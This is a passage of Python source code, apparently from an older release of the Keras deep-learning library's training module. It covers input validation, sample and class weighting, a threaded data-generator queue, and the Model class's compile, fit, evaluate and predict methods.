arrays[i] = array # check shapes compatibility if shapes: for i in range(len(names)): if shapes[i] is None: continue array = arrays[i] if len(array.shape) != len(shapes[i]): raise ValueError('Error when checking ' + exception_prefix + ': expected ' + names[i] + ' to have ' + str(len(shapes[i])) + ' dimensions, but got array with shape ' + str(array.shape)) for j, (dim, ref_dim) in enumerate(zip(array.shape, shapes[i])): if not j and not check_batch_axis: # skip the first axis continue if ref_dim: if ref_dim != dim: raise ValueError( 'Error when checking ' + exception_prefix + ': expected ' + names[i] + ' to have shape ' + str(shapes[i]) + ' but got array with shape ' + str(array.shape)) return arrays def standardize_sample_or_class_weights(x_weight, output_names, weight_type): if x_weight is None or len(x_weight) == 0: return [None for _ in output_names] if len(output_names) == 1: if isinstance(x_weight, list) and len(x_weight) == 1: return x_weight if isinstance(x_weight, dict) and output_names[0] in x_weight: return [x_weight[output_names[0]]] else: return [x_weight] if isinstance(x_weight, list): if len(x_weight) != len(output_names): raise ValueError('Provided `' + weight_type + '` was a list of ' + str(len(x_weight)) + ' elements, but the model has ' + str(len(output_names)) + ' outputs. ' 'You should provide one `' + weight_type + '`' 'array per model output.') return x_weight if isinstance(x_weight, dict): x_weights = [] for name in output_names: x_weights.append(x_weight.get(name)) return x_weights else: raise TypeError('The model has multiple outputs, so `' + weight_type + '` ' 'should be either a list of a dict. ' 'Provided `' + weight_type + '` type not understood: ' + str(x_weight)) def standardize_class_weights(class_weight, output_names): return standardize_sample_or_class_weights(class_weight, output_names, 'class_weight') def standardize_sample_weights(sample_weight, output_names): return standardize_sample_or_class_weights(sample_weight, output_names, 'sample_weight') def check_array_lengths(inputs, targets, weights): x_lengths = [x.shape[0] for x in inputs] y_lengths = [y.shape[0] for y in targets] w_lengths = [w.shape[0] for w in weights] set_x = set(x_lengths) if len(set_x) != 1: raise ValueError('All input arrays (x) should have ' 'the same number of samples.') set_y = set(y_lengths) if len(set_y) != 1: raise ValueError('All target arrays (y) should have ' 'the same number of samples.') set_w = set(w_lengths) if len(set_w) != 1: raise ValueError('All sample_weight arrays should have ' 'the same number of samples.') if list(set_x)[0] != list(set_y)[0]: raise ValueError('Input arrays should have ' 'the same number of samples as target arrays. ' 'Found ' + str(list(set_x)[0]) + ' input samples ' 'and ' + str(list(set_y)[0]) + ' target samples.') if list(set_x)[0] != list(set_w)[0]: raise ValueError('Sample_weight arrays should have ' 'the same number of samples as input arrays. Found ' + str(list(set_x)[0]) + ' input samples and ' + str(list(set_w)[0]) + ' target samples.') def check_loss_and_target_compatibility(targets, losses, output_shapes): key_losses = {'mean_square_error', 'binary_crossentropy', 'categorical_crossentropy'} for y, loss, shape in zip(targets, losses, output_shapes): if loss.__name__ == 'categorical_crossentropy': if y.shape[-1] == 1: raise ValueError( 'You are passing a target array of shape ' + str(y.shape) + ' while using as loss `categorical_crossentropy`. ' '`categorical_crossentropy` expects ' 'targets to be binary matrices (1s and 0s) ' 'of shape (samples, classes). ' 'If your targets are integer classes, ' 'you can convert them to the expected format via:\n' '```\n' 'from keras.utils.np_utils import to_categorical\n' 'y_binary = to_categorical(y_int)\n' '```\n' '\n' 'Alternatively, you can use the loss function ' '`sparse_categorical_crossentropy` instead, ' 'which does expect integer targets.') if loss.__name__ in key_losses: for target_dim, out_dim in zip(y.shape[1:], shape[1:]): if out_dim is not None and target_dim != out_dim: raise ValueError( 'A target array with shape ' + str(y.shape) + ' was passed for an output of shape ' + str(shape) + ' while using as loss `' + loss.__name__ + '`. ' 'This loss expects ' 'targets to have the same shape ' 'as the output.') def collect_metrics(metrics, output_names): if not metrics: return [[] for _ in output_names] if isinstance(metrics, list): # we then apply all metrics to all outputs. return [copy.copy(metrics) for _ in output_names] elif isinstance(metrics, dict): nested_metrics = [] for name in output_names: output_metrics = metrics.get(name, []) if not isinstance(output_metrics, list): output_metrics = [output_metrics] nested_metrics.append(output_metrics) return nested_metrics else: raise TypeError('Type of `metrics` argument not understood. ' 'Expected a list or dictionary, found: ' + str(metrics)) def batch_shuffle(index_array, batch_size): """This shuffles an array in a batch-wise fashion. Useful for shuffling HDF5 arrays (where one cannot access arbitrary indices). """ batch_count = int(len(index_array) / batch_size) # to reshape we need to be cleanly divisible by batch size # we stash extra items and reappend them after shuffling last_batch = index_array[batch_count * batch_size:] index_array = index_array[:batch_count * batch_size] index_array = index_array.reshape((batch_count, batch_size)) np.random.shuffle(index_array) index_array = index_array.flatten() return np.append(index_array, last_batch) def make_batches(size, batch_size): """Returns a list of batch indices (tuples of indices). """ nb_batch = int(np.ceil(size / float(batch_size))) return [(i * batch_size, min(size, (i + 1) * batch_size)) for i in range(0, nb_batch)] def slice_X(X, start=None, stop=None): """This takes an array-like, or a list of array-likes, and outputs: - X[start:stop] if X is an array-like - [x[start:stop] for x in X] if X in a list Can also work on list/array of indices: `slice_X(x, indices)` # Arguments start: can be an integer index (start index) or a list/array of indices stop: integer (stop index); should be None if `start` was a list. """ if isinstance(X, list): if hasattr(start, '__len__'): # hdf5 datasets only support list objects as indices if hasattr(start, 'shape'): start = start.tolist() return [x[start] for x in X] else: return [x[start:stop] for x in X] else: if hasattr(start, '__len__'): if hasattr(start, 'shape'): start = start.tolist() return X[start] else: return X[start:stop] def weighted_objective(fn): """Transforms an objective function `fn(y_true, y_pred)` into a sample-weighted, cost-masked objective function `fn(y_true, y_pred, weights, mask)`. """ def weighted(y_true, y_pred, weights, mask=None): # score_array has ndim >= 2 score_array = fn(y_true, y_pred) if mask is not None: # Cast the mask to floatX to avoid float64 upcasting in theano mask = K.cast(mask, K.floatx()) # mask should have the same shape as score_array score_array *= mask # the loss per batch should be proportional # to the number of unmasked samples. score_array /= K.mean(mask) # reduce score_array to same ndim as weight array ndim = K.ndim(score_array) weight_ndim = K.ndim(weights) score_array = K.mean(score_array, axis=list(range(weight_ndim, ndim))) # apply sample weighting if weights is not None: score_array *= weights score_array /= K.mean(K.cast(K.not_equal(weights, 0), K.floatx())) return K.mean(score_array) return weighted def standardize_weights(y, sample_weight=None, class_weight=None, sample_weight_mode=None): """Performs weight input validation and standardization to a single sample-wise (or timestep-wise) weight array. """ if sample_weight_mode is not None: if sample_weight_mode != 'temporal': raise ValueError('"sample_weight_mode ' 'should be None or "temporal". ' 'Found: ' + str(sample_weight_mode)) if len(y.shape) < 3: raise ValueError('Found a sample_weight array for ' 'an input with shape ' + str(y.shape) + '. ' 'Timestep-wise sample weighting (use of ' 'sample_weight_mode="temporal") is restricted to ' 'outputs that are at least 3D, i.e. that have ' 'a time dimension.') if sample_weight is not None and len(sample_weight.shape) != 2: raise ValueError('Found a sample_weight array with shape ' + str(sample_weight.shape) + '. ' 'In order to use timestep-wise sample weighting, ' 'you should pass a 2D sample_weight array.') else: if sample_weight is not None and len(sample_weight.shape) != 1: raise ValueError('Found a sample_weight array with shape ' + str(sample_weight.shape) + '. ' 'In order to use timestep-wise sample weights, ' 'you should specify ' 'sample_weight_mode="temporal" ' 'in compile(). If you just mean to use ' 'sample-wise weights, make sure your ' 'sample_weight array is 1D.') if sample_weight is not None: assert len(sample_weight.shape) <= len(y.shape) # TODO: proper error message assert y.shape[:sample_weight.ndim] == sample_weight.shape return sample_weight elif isinstance(class_weight, dict): if len(y.shape) > 2: raise ValueError('class_weight not supported for ' '3+ dimensional targets.') if y.shape[1] > 1: y_classes = y.argmax(axis=1) elif y.shape[1] == 1: y_classes = np.reshape(y, y.shape[0]) else: y_classes = y weights = np.asarray([class_weight[cls] for cls in y_classes]) return weights else: if sample_weight_mode is None: return np.ones((y.shape[0],), dtype=K.floatx()) else: return np.ones((y.shape[0], y.shape[1]), dtype=K.floatx()) class GeneratorEnqueuer(object): """Builds a queue out of a data generator. Used in `fit_generator`, `evaluate_generator`, `predict_generator`. # Arguments generator: a generator function which endlessly yields data pickle_safe: use multiprocessing if True, otherwise threading """ def __init__(self, generator, pickle_safe=False): self._generator = generator self._pickle_safe = pickle_safe self._threads = [] self._stop_event = None self.queue = None def start(self, nb_worker=1, max_q_size=10, wait_time=0.05): """Kick off threads which add data from the generator into the queue. # Arguments nb_worker: number of worker threads max_q_size: queue size (when full, threads could block on put()) wait_time: time to sleep in-between calls to put() """ def data_generator_task(): while not self._stop_event.is_set(): try: if self._pickle_safe or self.queue.qsize() < max_q_size: generator_output = next(self._generator) self.queue.put(generator_output) else: time.sleep(wait_time) except Exception: self._stop_event.set() raise try: if self._pickle_safe: self.queue = multiprocessing.Queue(maxsize=max_q_size) self._stop_event = multiprocessing.Event() else: self.queue = queue.Queue() self._stop_event = threading.Event() for i in range(nb_worker): if self._pickle_safe: # Reset random seed else all children processes # share the same seed np.random.seed() thread = multiprocessing.Process(target=data_generator_task) thread.daemon = True else: thread = threading.Thread(target=data_generator_task) self._threads.append(thread) thread.start() except: self.stop() raise def is_running(self): return self._stop_event is not None and not self._stop_event.is_set() def stop(self, timeout=None): """Stop running threads and wait for them to exit, if necessary. Should be called by the same thread which called start(). # Arguments timeout: maximum time to wait on thread.join() """ if self.is_running(): self._stop_event.set() for thread in self._threads: if thread.is_alive(): if self._pickle_safe: thread.terminate() else: thread.join(timeout) if self._pickle_safe: if self.queue is not None: self.queue.close() self._threads = [] self._stop_event = None self.queue = None class Model(Container): def compile(self, optimizer, loss, metrics=None, loss_weights=None, sample_weight_mode=None, **kwargs): """Configures the model for training. # Arguments optimizer: str (name of optimizer) or optimizer object. See [optimizers](/optimizers). loss: str (name of objective function) or objective function. See [objectives](/objectives). If the model has multiple outputs, you can use a different loss on each output by passing a dictionary or a list of objectives. metrics: list of metrics to be evaluated by the model during training and testing. Typically you will use `metrics=['accuracy']`. To specify different metrics for different outputs of a multi-output model, you could also pass a dictionary, such as `metrics={'output_a': 'accuracy'}`. sample_weight_mode: if you need to do timestep-wise sample weighting (2D weights), set this to "temporal". "None" defaults to sample-wise weights (1D). If the model has multiple outputs, you can use a different `sample_weight_mode` on each output by passing a dictionary or a list of modes. kwargs: when using the Theano backend, these arguments are passed into K.function. Ignored for Tensorflow backend. """ self.optimizer = optimizers.get(optimizer) self.sample_weight_mode = sample_weight_mode self.loss = loss self.loss_weights = loss_weights # prepare loss weights if loss_weights is None: loss_weights_list = [1. for _ in range(len(self.outputs))] elif isinstance(loss_weights, dict): for name in loss_weights: if name not in self.output_names: raise ValueError('Unknown entry in loss_weights ' 'dictionary: "' + name + '". ' 'Only expected the following keys: ' + str(self.output_names)) loss_weights_list = [] for name in self.output_names: loss_weights_list.append(loss_weights.get(name, 1.)) elif isinstance(loss_weights, list): if len(loss_weights) != len(self.outputs): raise ValueError('When passing a list as loss_weights, ' 'it should have one entry per model outputs. ' 'The model has ' + str(len(self.outputs)) + ' outputs, but you passed loss_weights=' + str(loss_weights)) loss_weights_list = loss_weights else: raise TypeError('Could not interpret loss_weights argument: ' + str(loss_weights) + ' - expected a list of dicts.') # prepare loss functions if isinstance(loss, dict): for name in loss: if name not in self.output_names: raise ValueError('Unknown entry in loss ' 'dictionary: "' + name + '". ' 'Only expected the following keys: ' + str(self.output_names)) loss_functions = [] for name in self.output_names: if name not in loss: raise ValueError('Output "' + name + '" missing from loss dictionary.') loss_functions.append(objectives.get(loss[name])) elif isinstance(loss, list): if len(loss) != len(self.outputs): raise ValueError('When passing a list as loss, ' 'it should have one entry per model outputs. ' 'The model has ' + str(len(self.outputs)) + ' outputs, but you passed loss=' + str(loss)) loss_functions = [objectives.get(l) for l in loss] else: loss_function = objectives.get(loss) loss_functions = [loss_function for _ in range(len(self.outputs))] self.loss_functions = loss_functions weighted_losses = [weighted_objective(fn) for fn in loss_functions] # prepare output masks masks = self.compute_mask(self.inputs, mask=None) if masks is None: masks = [None for _ in self.outputs] if not isinstance(masks, list): masks = [masks] # prepare sample weights if isinstance(sample_weight_mode, dict): for name in sample_weight_mode: if name not in self.output_names: raise ValueError('Unknown entry in ' 'sample_weight_mode dictionary: "' + name + '". ' 'Only expected the following keys: ' + str(self.output_names)) sample_weights = [] sample_weight_modes = [] for name in self.output_names: if name not in sample_weight_mode: raise ValueError('Output "' + name + '" missing from sample_weight_modes ' 'dictionary') if sample_weight_mode.get(name) == 'temporal': weight = K.placeholder(ndim=2, name=name + '_sample_weights') sample_weight_modes.append('temporal') else: weight = K.placeholder(ndim=1, name=name + '_sample_weights') sample_weight_modes.append(None) sample_weights.append(weight) elif isinstance(sample_weight_mode, list): if len(sample_weight_mode) != len(self.outputs): raise ValueError('When passing a list as sample_weight_mode, ' 'it should have one entry per model outputs. ' 'The model has ' + str(len(self.outputs)) + ' outputs, but you passed ' 'sample_weight_mode=' + str(sample_weight_mode)) sample_weights = [] sample_weight_modes = [] for mode, name in zip(sample_weight_mode, self.output_names): if mode == 'temporal': weight = K.placeholder(ndim=2, name=name + '_sample_weights') sample_weight_modes.append('temporal') else: weight = K.placeholder(ndim=1, name=name + '_sample_weights') sample_weight_modes.append(None) sample_weights.append(weight) else: if sample_weight_mode == 'temporal': sample_weights = [K.placeholder(ndim=2, name=name + '_sample_weights') for name in self.output_names] sample_weight_modes = ['temporal' for name in self.output_names] else: sample_weights = [K.placeholder(ndim=1, name=name + '_sample_weights') for name in self.output_names] sample_weight_modes = [None for name in self.output_names] self.sample_weight_modes = sample_weight_modes # prepare targets of model self.targets = [] for i in range(len(self.outputs)): shape = self.internal_output_shapes[i] name = self.output_names[i] self.targets.append(K.placeholder(ndim=len(shape), name=name + '_target', sparse=K.is_sparse(self.outputs[i]), dtype=K.dtype(self.outputs[i]))) # prepare metrics self.metrics = metrics self.metrics_names = ['loss'] self.metrics_tensors = [] # compute total loss total_loss = None for i in range(len(self.outputs)): y_true = self.targets[i] y_pred = self.outputs[i] weighted_loss = weighted_losses[i] sample_weight = sample_weights[i] mask = masks[i] loss_weight = loss_weights_list[i] output_loss = weighted_loss(y_true, y_pred, sample_weight, mask) if len(self.outputs) > 1: self.metrics_tensors.append(output_loss) self.metrics_names.append(self.output_names[i] + '_loss') if total_loss is None: total_loss = loss_weight * output_loss else: total_loss += loss_weight * output_loss # add regularization penalties # and other layer-specific losses for loss_tensor in self.losses: total_loss += loss_tensor # list of same size as output_names. # contains tuples (metrics for output, names of metrics) nested_metrics = collect_metrics(metrics, self.output_names) def append_metric(layer_num, metric_name, metric_tensor): """Helper function, used in loop below""" if len(self.output_names) > 1: metric_name = self.output_layers[layer_num].name + '_' + metric_name self.metrics_names.append(metric_name) self.metrics_tensors.append(metric_tensor) for i in range(len(self.outputs)): y_true = self.targets[i] y_pred = self.outputs[i] output_metrics = nested_metrics[i] for metric in output_metrics: if metric == 'accuracy' or metric == 'acc': # custom handling of accuracy # (because of class mode duality) output_shape = self.internal_output_shapes[i] acc_fn = None if output_shape[-1] == 1 or self.loss_functions[i] == objectives.binary_crossentropy: # case: binary accuracy acc_fn = metrics_module.binary_accuracy elif self.loss_functions[i] == objectives.sparse_categorical_crossentropy: # case: categorical accuracy with sparse targets acc_fn = metrics_module.sparse_categorical_accuracy else: acc_fn = metrics_module.categorical_accuracy append_metric(i, 'acc', acc_fn(y_true, y_pred)) else: metric_fn = metrics_module.get(metric) metric_result = metric_fn(y_true, y_pred) if not isinstance(metric_result, dict): metric_result = { metric_fn.__name__: metric_result } for name, tensor in six.iteritems(metric_result): append_metric(i, name, tensor) # prepare gradient updates and state updates self.total_loss = total_loss self.sample_weights = sample_weights # functions for train, test and predict will # be compiled lazily when required. # This saves time when the user is not using all functions. self._function_kwargs = kwargs self.train_function = None self.test_function = None self.predict_function = None # collected trainable weights and sort them deterministically. trainable_weights = self.trainable_weights # Sort weights by name if trainable_weights: if K.backend() == 'theano': trainable_weights.sort(key=lambda x: x.name if x.name else x.auto_name) else: trainable_weights.sort(key=lambda x: x.name) self._collected_trainable_weights = trainable_weights def _make_train_function(self): if not hasattr(self, 'train_function'): raise RuntimeError('You must compile your model before using it.') if self.train_function is None: if self.uses_learning_phase and not isinstance(K.learning_phase(), int): inputs = self.inputs + self.targets + self.sample_weights + [K.learning_phase()] else: inputs = self.inputs + self.targets + self.sample_weights training_updates = self.optimizer.get_updates(self._collected_trainable_weights, self.constraints, self.total_loss) updates = self.updates + training_updates # returns loss and metrics. Updates weights at each call. self.train_function = K.function(inputs, [self.total_loss] + self.metrics_tensors, updates=updates, **self._function_kwargs) def _make_test_function(self): if not hasattr(self, 'test_function'): raise RuntimeError('You must compile your model before using it.') if self.test_function is None: if self.uses_learning_phase and not isinstance(K.learning_phase(), int): inputs = self.inputs + self.targets + self.sample_weights + [K.learning_phase()] else: inputs = self.inputs + self.targets + self.sample_weights # return loss and metrics, no gradient updates. # Does update the network states. self.test_function = K.function(inputs, [self.total_loss] + self.metrics_tensors, updates=self.state_updates, **self._function_kwargs) def _make_predict_function(self): if not hasattr(self, 'predict_function'): self.predict_function = None if self.predict_function is None: if self.uses_learning_phase and not isinstance(K.learning_phase(), int): inputs = self.inputs + [K.learning_phase()] else: inputs = self.inputs # returns network outputs. Does not update weights. # Does update the network states. kwargs = getattr(self, '_function_kwargs', {}) self.predict_function = K.function(inputs, self.outputs, updates=self.state_updates, **kwargs) def _fit_loop(self, f, ins, out_labels=None, batch_size=32, nb_epoch=100, verbose=1, callbacks=None, val_f=None, val_ins=None, shuffle=True, callback_metrics=None, initial_epoch=0): """Abstract fit function for f(ins). Assume that f returns a list, labeled by out_labels. # Arguments f: Keras function returning a list of tensors ins: list of tensors to be fed to `f` out_labels: list of strings, display names of the outputs of `f` batch_size: integer batch size nb_epoch: number of times to iterate over the data verbose: verbosity mode, 0, 1 or 2 callbacks: list of callbacks to be called during training val_f: Keras function to call for validation val_ins: list of tensors to be fed to `val_f` shuffle: whether to shuffle the data at the beginning of each epoch callback_metrics: list of strings, the display names of the metrics passed to the callbacks. They should be the concatenation of list the display names of the outputs of `f` and the list of display names of the outputs of `f_val`. initial_epoch: epoch at which to start training (useful for resuming a previous training run) # Returns `History` object. """ do_validation = False if val_f and val_ins: do_validation = True if verbose: print('Train on %d samples, validate on %d samples' % (ins[0].shape[0], val_ins[0].shape[0])) nb_train_sample = ins[0].shape[0] index_array = np.arange(nb_train_sample) self.history = cbks.History() callbacks = [cbks.BaseLogger()] + (callbacks or []) + [self.history] if verbose: callbacks += [cbks.ProgbarLogger()] callbacks = cbks.CallbackList(callbacks) out_labels = out_labels or [] # it's possible to callback a different model than self # (used by Sequential models) if hasattr(self, 'callback_model') and self.callback_model: callback_model = self.callback_model else: callback_model = self callbacks.set_model(callback_model) callbacks.set_params({ 'batch_size': batch_size, 'nb_epoch': nb_epoch, 'nb_sample': nb_train_sample, 'verbose': verbose, 'do_validation': do_validation, 'metrics': callback_metrics or [], }) callbacks.on_train_begin() callback_model.stop_training = False self.validation_data = val_ins for epoch in range(initial_epoch, nb_epoch): callbacks.on_epoch_begin(epoch) if shuffle == 'batch': index_array = batch_shuffle(index_array, batch_size) elif shuffle: np.random.shuffle(index_array) batches = make_batches(nb_train_sample, batch_size) epoch_logs = {} for batch_index, (batch_start, batch_end) in enumerate(batches): batch_ids = index_array[batch_start:batch_end] try: if isinstance(ins[-1], float): # do not slice the training phase flag ins_batch = slice_X(ins[:-1], batch_ids) + [ins[-1]] else: ins_batch = slice_X(ins, batch_ids) except TypeError: raise TypeError('TypeError while preparing batch. ' 'If using HDF5 input data, ' 'pass shuffle="batch".') batch_logs = {} batch_logs['batch'] = batch_index batch_logs['size'] = len(batch_ids) callbacks.on_batch_begin(batch_index, batch_logs) outs = f(ins_batch) if not isinstance(outs, list): outs = [outs] for l, o in zip(out_labels, outs): batch_logs[l] = o callbacks.on_batch_end(batch_index, batch_logs) if batch_index == len(batches) - 1: # last batch # validation if do_validation: # replace with self._evaluate val_outs = self._test_loop(val_f, val_ins, batch_size=batch_size, verbose=0) if not isinstance(val_outs, list): val_outs = [val_outs] # same labels assumed for l, o in zip(out_labels, val_outs): epoch_logs['val_' + l] = o callbacks.on_epoch_end(epoch, epoch_logs) if callback_model.stop_training: break callbacks.on_train_end() return self.history def _predict_loop(self, f, ins, batch_size=32, verbose=0): """Abstract method to loop over some data in batches. # Arguments f: Keras function returning a list of tensors. ins: list of tensors to be fed to `f`. batch_size: integer batch size. verbose: verbosity mode. # Returns Array of predictions (if the model has a single output) or list of arrays of predictions (if the model has multiple outputs). """ nb_sample = ins[0].shape[0] outs = [] if verbose == 1: progbar = Progbar(target=nb_sample) batches = make_batches(nb_sample, batch_size) index_array = np.arange(nb_sample) for batch_index, (batch_start, batch_end) in enumerate(batches): batch_ids = index_array[batch_start:batch_end] if isinstance(ins[-1], float): # do not slice the training phase flag ins_batch = slice_X(ins[:-1], batch_ids) + [ins[-1]] else: ins_batch = slice_X(ins, batch_ids) batch_outs = f(ins_batch) if not isinstance(batch_outs, list): batch_outs = [batch_outs] if batch_index == 0: for batch_out in batch_outs: shape = (nb_sample,) + batch_out.shape[1:] outs.append(np.zeros(shape, dtype=K.floatx())) for i, batch_out in enumerate(batch_outs): outs[i][batch_start:batch_end] = batch_out if verbose == 1: progbar.update(batch_end) if len(outs) == 1: return outs[0] return outs def _test_loop(self, f, ins, batch_size=32, verbose=0): """Abstract method to loop over some data in batches. # Arguments f: Keras function returning a list of tensors. ins: list of tensors to be fed to `f`. batch_size: integer batch size. verbose: verbosity mode. # Returns Scalar loss (if the model has a single output and no metrics) or list of scalars (if the model has multiple outputs and/or metrics). The attribute `model.metrics_names` will give you the display labels for the scalar outputs. """ nb_sample = ins[0].shape[0] outs = [] if verbose == 1: progbar = Progbar(target=nb_sample) batches = make_batches(nb_sample, batch_size) index_array = np.arange(nb_sample) for batch_index, (batch_start, batch_end) in enumerate(batches): batch_ids = index_array[batch_start:batch_end] if isinstance(ins[-1], float): # do not slice the training phase flag ins_batch = slice_X(ins[:-1], batch_ids) + [ins[-1]] else: ins_batch = slice_X(ins, batch_ids) batch_outs = f(ins_batch) if isinstance(batch_outs, list): if batch_index == 0: for batch_out in enumerate(batch_outs): outs.append(0.) for i, batch_out in enumerate(batch_outs): outs[i] += batch_out * len(batch_ids) else: if batch_index == 0: outs.append(0.) outs[0] += batch_outs * len(batch_ids) if verbose == 1: progbar.update(batch_end) for i, out in enumerate(outs): outs[i] /= nb_sample if len(outs) == 1: return outs[0] return outs def _standardize_user_data(self, x, y, sample_weight=None, class_weight=None, check_batch_axis=True, batch_size=None): if not hasattr(self, 'optimizer'): raise RuntimeError('You must compile a model before ' 'training/testing. ' 'Use `model.compile(optimizer, loss)`.') output_shapes = [] for output_shape, loss_fn in zip(self.internal_output_shapes, self.loss_functions): if loss_fn.__name__ == 'sparse_categorical_crossentropy': output_shapes.append(output_shape[:-1] + (1,)) elif getattr(objectives, loss_fn.__name__, None) is None: output_shapes.append(None) else: output_shapes.append(output_shape) x = standardize_input_data(x, self.input_names, self.internal_input_shapes, check_batch_axis=False, exception_prefix='model input') y = standardize_input_data(y, self.output_names, output_shapes, check_batch_axis=False, exception_prefix='model target') sample_weights = standardize_sample_weights(sample_weight, self.output_names) class_weights = standardize_class_weights(class_weight, self.output_names) sample_weights = [standardize_weights(ref, sw, cw, mode) for (ref, sw, cw, mode) in zip(y, sample_weights, class_weights, self.sample_weight_modes)] check_array_lengths(x, y, sample_weights) check_loss_and_target_compatibility(y, self.loss_functions, self.internal_output_shapes) if self.stateful and batch_size: if x[0].shape[0] % batch_size != 0: raise ValueError('In a stateful network, ' 'you should only pass inputs with ' 'a number of samples that can be ' 'divided by the batch size. Found: ' + str(x[0].shape[0]) + ' samples') return x, y, sample_weights def fit(self, x, y, batch_size=32, nb_epoch=10, verbose=1, callbacks=None, validation_split=0., validation_data=None, shuffle=True, class_weight=None, sample_weight=None, initial_epoch=0): """Trains the model for a fixed number of epochs (iterations on a dataset). # Arguments x: Numpy array of training data, or list of Numpy arrays if the model has multiple inputs. If all inputs in the model are named, you can also pass a dictionary mapping input names to Numpy arrays. y: Numpy array of target data, or list of Numpy arrays if the model has multiple outputs. If all outputs in the model are named, you can also pass a dictionary mapping output names to Numpy arrays. batch_size: integer. Number of samples per gradient update. nb_epoch: integer, the number of times to iterate over the training data arrays. verbose: 0, 1, or 2. Verbosity mode. 0 = silent, 1 = verbose, 2 = one log line per epoch. callbacks: list of callbacks to be called during training. See [callbacks](/callbacks). validation_split: float between 0 and 1: fraction of the training data to be used as validation data. The model will set apart this fraction of the training data, will not train on it, and will evaluate the loss and any model metrics on this data at the end of each epoch. validation_data: data on which to evaluate the loss and any model metrics at the end of each epoch. The model will not be trained on this data. This could be a tuple (x_val, y_val) or a tuple (x_val, y_val, val_sample_weights). shuffle: boolean, whether to shuffle the training data before each epoch. class_weight: optional dictionary mapping class indices (integers) to a weight (float) to apply to the model's loss for the samples from this class during training. This can be useful to tell the model to "pay more attention" to samples from an under-represented class. sample_weight: optional array of the same length as x, containing weights to apply to the model's loss for each sample. In the case of temporal data, you can pass a 2D array with shape (samples, sequence_length), to apply a different weight to every timestep of every sample. In this case you should make sure to specify sample_weight_mode="temporal" in compile(). initial_epoch: epoch at which to start training (useful for resuming a previous training run) # Returns A `History` instance. Its `history` attribute contains all information collected during training. """ # validate user data x, y, sample_weights = self._standardize_user_data( x, y, sample_weight=sample_weight, class_weight=class_weight, check_batch_axis=False, batch_size=batch_size) # prepare validation data if validation_data: do_validation = True if len(validation_data) == 2: val_x, val_y = validation_data val_sample_weight = None elif len(validation_data) == 3: val_x, val_y, val_sample_weight = validation_data else: raise ValueError('When passing validation_data, ' 'it must contain 2 (x_val, y_val) ' 'or 3 (x_val, y_val, val_sample_weights) ' 'items, however it contains %d items' % len(validation_data)) val_x, val_y, val_sample_weights = self._standardize_user_data( val_x, val_y, sample_weight=val_sample_weight, check_batch_axis=False, batch_size=batch_size) self._make_test_function() val_f = self.test_function if self.uses_learning_phase and not isinstance(K.learning_phase(), int): val_ins = val_x + val_y + val_sample_weights + [0.] else: val_ins = val_x + val_y + val_sample_weights elif validation_split and 0. < validation_split < 1.: do_validation = True split_at = int(len(x[0]) * (1. - validation_split)) x, val_x = (slice_X(x, 0, split_at), slice_X(x, split_at)) y, val_y = (slice_X(y, 0, split_at), slice_X(y, split_at)) sample_weights, val_sample_weights = ( slice_X(sample_weights, 0, split_at), slice_X(sample_weights, split_at)) self._make_test_function() val_f = self.test_function if self.uses_learning_phase and not isinstance(K.learning_phase(), int): val_ins = val_x + val_y + val_sample_weights + [0.] else: val_ins = val_x + val_y + val_sample_weights else: do_validation = False val_f = None val_ins = None # prepare input arrays and training function if self.uses_learning_phase and not isinstance(K.learning_phase(), int): ins = x + y + sample_weights + [1.] else: ins = x + y + sample_weights self._make_train_function() f = self.train_function # prepare display labels out_labels = self.metrics_names # rename duplicated metrics name # (can happen with an output layer shared among multiple dataflows) deduped_out_labels = [] for i, label in enumerate(out_labels): new_label = label if out_labels.count(label) > 1: dup_idx = out_labels[:i].count(label) new_label += '_' + str(dup_idx + 1) deduped_out_labels.append(new_label) out_labels = deduped_out_labels if do_validation: callback_metrics = copy.copy(out_labels) + ['val_' + n for n in out_labels] else: callback_metrics = copy.copy(out_labels) # delegate logic to _fit_loop return self._fit_loop(f, ins, out_labels=out_labels, batch_size=batch_size, nb_epoch=nb_epoch, verbose=verbose, callbacks=callbacks, val_f=val_f, val_ins=val_ins, shuffle=shuffle, callback_metrics=callback_metrics, initial_epoch=initial_epoch) def evaluate(self, x, y, batch_size=32, verbose=1, sample_weight=None): """Returns the loss value and metrics values for the model in test mode. Computation is done in batches. # Arguments x: Numpy array of test data, or list of Numpy arrays if the model has multiple inputs. If all inputs in the model are named, you can also pass a dictionary mapping input names to Numpy arrays. y: Numpy array of target data, or list of Numpy arrays if the model has multiple outputs. If all outputs in the model are named, you can also pass a dictionary mapping output names to Numpy arrays. batch_size: integer. Number of samples per gradient update. # Returns Scalar test loss (if the model has a single output and no metrics) or list of scalars (if the model has multiple outputs and/or metrics). The attribute `model.metrics_names` will give you the display labels for the scalar outputs. """ # validate user data x, y, sample_weights = self._standardize_user_data( x, y, sample_weight=sample_weight, check_batch_axis=False, batch_size=batch_size) # prepare inputs, delegate logic to _test_loop if self.uses_learning_phase and not isinstance(K.learning_phase, int): ins = x + y + sample_weights + [0.] else: ins = x + y + sample_weights self._make_test_function() f = self.test_function return self._test_loop(f, ins, batch_size=batch_size, verbose=verbose) def predict(self, x, batch_size=32, verbose=0): """Generates output predictions for the input samples, processing the samples in a batched way. # Arguments x: the input data, as a Numpy array (or list of Numpy arrays if the model has multiple outputs). batch_size: integer. verbose: verbosity mode, 0 or 1. # Returns A Numpy array of predictions. """ # validate user data x = standardize_input_data(x, self.input_names, self.internal_input_shapes, check_batch_axis=False) if self.stateful: if x[0].shape[0] > batch_size and x[0].shape[0] % batch_size != 0: raise ValueError('In a stateful network, ' 'you should only pass inputs with ' 'a number of samples that can be ' 'divided by the batch size. Found: ' + str(x[0].shape[0]) + ' samples. ' 'Batch size: ' + str(batch_size) + '.') # prepare inputs, delegate logic to _predict_loop if self.uses_learning_phase and not isinstance(K.learning_phase, int): ins = x + [0.] else: ins = x self._make_predict_function() f = self.predict_function return self._predict_loop(f, ins, batch_size=batch_size, verbose=verbose) def train_on_batch(self, x, y, sample_weight=None, class_weight=None): """Runs a single gradient update on a single batch of data. # Arguments x: Numpy array of training data, or list of Numpy arrays if the model has multiple inputs. If all inputs in the model are named, you can also pass a dictionary mapping input names to Numpy arrays. y: Numpy array of target data, or list of Numpy arrays if the model has multiple outputs. If all outputs in the model are named, you can also pass a dictionary mapping output names to Numpy arrays. sample_weight: optional array of the same length as x, containing weights to apply to the model's loss for each sample. In the case of temporal data, you can pass a 2D array with shape (samples, sequence_length), to apply a different weight to every timestep of every sample. In this case you should make sure to specify sample_weight_mode="temporal" in compile(). class_weight: optional dictionary mapping lass indices (integers) to a weight (float) to apply to the model's loss for the samples from this class during training. This can be useful to tell the model to "pay more attention" to samples from 